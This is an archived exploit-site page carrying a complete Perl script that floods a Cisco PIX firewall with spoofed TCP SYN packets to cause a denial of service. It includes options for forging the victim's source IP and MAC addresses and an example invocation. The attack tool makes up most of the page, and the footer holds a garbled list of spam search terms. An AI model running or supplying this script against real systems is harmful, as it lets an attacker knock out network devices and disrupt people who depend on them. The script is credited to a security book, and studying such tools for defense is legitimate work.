about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Cisco PIX Spoofed TCP SYN Packets Handling Remote Denial of Service Exploit



2005-11-23 Cisco PIX Spoofed TCP SYN Packets Handling Remote Denial of Service Exploit
Rated as : Low Risk 

#!/usr/bin/perl
eval ("use Getopt::Long;");die "[error] Getopt::Long perl
module is not installed \n" if $@;
eval ("use Net::RawIP;");die "[error] Net::RawIP perl
module is not installed \n" if $@;
eval ("use Term::ProgressBar;");
die "[error] Term::ProgressBar perl module is not installed \n"
if $@;
my $VERSION = "0.1";
print "$0, $PgmName, V $VERSION \n";
GetOptions ( 
"help" =>\$usage,
"device=s" => \$device, 
"source=s" =>\$sourceip,
"dest=s"=>\$destip,
"sourcemac=s"=>\$sourcemac,
"destmac=s"=>\$destmac,
"port=n"=> \$tcpport,
);

######################## Config option ####################

my $timeout = "0,1"; # Timeout

if ($usage) {&usage;} 

if (!$device) {
$device= 'eth0'; # Network device
}

if (!$destmac) {print "Dest MAC not found \n"; &usage;}
if (!$sourceip) {print "Source IP not found \n"; &usage;}
if (!$destip) {print "Dest IP not found \n"; &usage;}
if (!$tcpport) {print "TCP port not found \n"; &usage;}

my $syn="1"; # TCP SYN SET
my $tcpdata = "TEST"; # TCP payload
my $count=0;

######################################################

#Initialize Progres Bar 
my $progress = Term::ProgressBar->new(32768);
$progress->minor(0);
$packet = new Net::RawIP;
$packet-> ethnew($device);


if (!$sourcemac) {
$packet -> ethset( dest => $destmac);
}else { 
$packet -> ethset( source =>$sourcemac, dest => $destmac);
}



for ($count=0; $count< 65537 ; $count++) {

$packet->set({

ip => {
saddr => $sourceip,
daddr => $destip 
},

tcp => {
check => 0x0010 , # TCP Packet Checksum 0 for auto correct
source => $count,
dest => $tcpport,
syn => $syn,
data => $tcpdata
}});
$packet->ethsend($timeout);
#$packet->send($timeout);

$progress->update($_);
$count++;
}

sub usage {
print <<EOF ;
This program was originally written in the due course of writing
"Hacking Exposed Cisco Networks: Cisco Security Secrets and
Solutions" book.
Tool author - Janis Vizulis, Arhont Ltd. (License GPL-2 ) Please send bugs

and comments to info@arhont.com 

usage: $0 [ --device=interface ] [--source=IP] [--dest=IP]
[--sourcemac=MAC]
[--destmac=MAC] [--port=n]

Options:

--help This message
--device Network interface (defaut set eth0)
--source Victim source IP
--dest Victim destination IP
--sourcemac Victim source MAC
--destmac MAC Address of the gateway
--port TCP port 

Example: ./pixdos.pl --device eth0 --source 192.168.44.10 --dest
192.168.55.111 \
--sourcemac 00:90:27:99:11:b6 --destmac 00:60:27:99:11:b6 --port 22 
EOF

exit shift;
}
securitydot.net - 2005-11-23

Advertising

Copyright 2007, SecurityDot
Sun, 22 Nov 2009 20:57:34 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
www.7dfw.c www.jrj01. hacking so www.tkyxgl News Searc NcFTP nayan thar www.hanyua Sxey free www.Nanga. www.v2jw.c celebritie www.xlxx. www.frieed www.punjab all cartoo Www.garlse Leicesters www.sex ga www.sex.in 76.76.12.5 xemphim 5izhuti.co Free saxy Apache Adv %2Fcheckou sex giar vncviewer photo /phppc/pol ladp betersxi desipapa c Www.mogamb Www indeo indiannsex faxpress rip IFLIM http:/www. echo www.cctvjk TOLYWOODSE Exchange 5 watch free Www.Chinas www.fun ma Home sex I agree wi bigd